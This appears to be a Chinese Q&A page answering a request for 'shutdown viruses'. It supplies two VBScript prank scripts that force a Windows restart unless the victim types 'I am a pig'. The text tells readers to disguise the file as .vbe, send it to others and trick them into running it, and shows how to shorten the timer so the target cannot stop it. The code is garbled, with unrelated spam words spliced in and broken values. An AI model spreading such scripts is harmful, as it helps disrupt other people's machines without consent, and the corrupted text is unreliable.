1.vbe 关机病毒谁能给我发几个呀？
2.vbe格式的机源机关机程序
vbe 关机病毒谁能给我发几个呀？
保存一下代码为后缀名为vbs的 文件 双击，你也可以恶搞他：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t -c ""说我是码关猪，不说我是代码猪就一分钟关你机，不信，机源机互娱互动源码试试···"" ",码关0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，代码约炮 源码说 ""我是机源机猪"" ","说不说","不说",,)
msgbox chr() + chr() + chr() + a,0,"MsgBox"
loop
msgbox chr() + chr() + chr() + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr() + chr() + chr() + "哈哈哈哈，真过瘾"
然后保存。码关再把扩展名改为vbe 发给别人他打开就重启了，代码
WSHshellA.run "cmd.exe /c shutdown -r -t -c ""说我是机源机猪，不说我是码关猪就一分针关你机，不信，代码试试···"" ",机源机七禾源码0 ,true
去掉这行就不再重启了 不然就开始->运行->shutdown -a
还可以把这行
WSHshellA.run "cmd.exe /c shutdown -r -t -c ""说我是猪，不说我是码关猪就一分针关你机，不信，代码试试···"" ",源码打断点0 ,true
改成WSHshellA.run "cmd.exe /c shutdown -r -t 1 -c ""说我是猪，不说我是猪就一分针关你机，不信，试试···"" ",分段 拟合 源码0 ,true
保存后发还给他，叫他运行，他想叫自己是猪的机会都没有就重启了。
vbe格式的关机程序
先打开我的电脑 工具 文件选项 查看
隐藏已知文件类型拓展名 前面勾去掉
然后新建个TXT的文档把下面的复制下去
在把后面的.txt改成.vbe就好了
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t -c ""来叫声猪`不叫给你重启 不信咱来试试 “猪” ···"" ",0 ,true
dim a
do while(a <> "猪")
a = inputbox ("哎╮(╯▽╰)╭`快叫把,要不就关机，快点，叫 ","叫不叫？","不叫？",,)
msgbox chr() + chr() + chr() + a,0,"MsgBox"
loop
msgbox chr() + chr() + chr() + "早说就行了嘛"
msgbox chr() + chr() + chr() + "(*^__^*) 嘻嘻……"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr() + chr() + chr() + "哈哈哈哈，乖"
时间可以调
还不会的话加我QQ
